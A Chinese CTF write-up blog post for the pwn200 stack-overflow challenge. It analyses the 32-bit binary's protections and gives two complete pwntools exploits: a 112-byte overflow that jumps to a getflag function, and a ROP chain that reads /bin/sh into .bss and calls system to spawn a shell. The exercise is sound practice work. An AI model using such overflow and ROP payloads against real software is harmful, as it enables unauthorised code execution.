简单的栈溢出rop练习之pwn200
原题从此下载
链接:https://pan.baidu.com/s/1gQQVsyo-1J2Nu8MpSN3B-g
提取码:0flk
那道题第一步先查看文件信息,用file checksec查看下,在尝试运行。
可以看到一些重要信息:32位、动态链接、开了nx,got可写,无canary,pie关闭,属于经典的栈溢出,逻辑简单。
用ida反汇编查看函数逻辑:
可以看到函数逻辑简单,属于基本的栈溢出,溢出长度应该和pwn100相同,然后发现有辅助函数getflag,甚至还有system函数,虽然没有write函数,但是这道题的难度不会很大。
看下辅助函数:
竟然是直接用system打印出flag。那么这道题的思路就很简单了。
如果单纯为了获得flag,就直接劫持pc指针,控制它跳转到getflag函数即可。
如果想获取shell,由于没有write函数,无法获得一个已知的地址,(虽然有puts函数,但是puts不会打印出参数地址,只打印出栈中保存的地址,本题就是保存./pwn200的地址),所以DynELF和LIbcSearcher都不好使。可行的办法是想bss段里面写入/bin/sh,然后执行system(.bss)
首先是单纯的获得flag的方法,exp可以这样写:
#coding:utf-8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./pwn200')
getflag_addr = elf.symbols['getflag']
p = process('./pwn200')
p.recvuntil("let's have the di er ci try\n")
payload = 'A' * 112 + p32(getflag_addr)//覆盖地址为什么是112,可以参见上一篇博客,有详细的计算方法。
p.send(payload)
p.recv()
运行结果如下:
注意这里是本地运行,需要有一个f1ag文件在与pwn200在文件夹***意是f1ag不是flag,f1ag是数字1,不是字母l)
上一篇博客地址是:https://blog.csdn.net/Vaing_Lory/article/details/86716753
然后是想要获得shell的方法。大致思路是先控制程序将/bin/sh读入到bss段,然后继续执行system(.bss)。
如何寻找bss段地址呢,最简单的方法就是用如下的语句:
elf = ELF('./pwn200')
bss_addr = elf.bss()
要实现次目的,payload可以这样构造:
payload = 'A' * 112 + p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(16) + p32(read_addr) + p32(bss_addr)
前面的‘A’*112是填充字符,p32(read_addr)控制pc指针执行read函数,准备读入/bin/sh\n,p32(system_addr)作用是执行完read函数后执行system函数,p32(0) ,p32(bss_addr) ,p32(16) 三个是read函数的三个参数,后一个是p32(read_addr)是执行完system函数后的返回继续地址,可以任意 ,p32(bss_addr)是system函数的参数,里面写入的是/bin/sh
具体的exp如下:
#coding:utf-8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./pwn200')
bss_addr = elf.bss()
read_addr = elf.symbols['read']
system_addr = elf.symbols['system']
p = process('./pwn200')
p.recvuntil("let's have the di er ci try\n")
payload = 'A' * 112 + p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(16) + p32(read_addr) + p32(bss_addr)
p.send(payload)
ss=raw_input()#此处最好加上,确保不会干扰程序正常运行
p.send('/bin/sh\n')#向bss段写/bin/sh\n
p.interactive()
具体结果如下;
成功getshell。
注:刚学不久,望多指教。
上一篇: HTML
下一篇: PHP 检测进程是否存在,该怎么处理
推荐阅读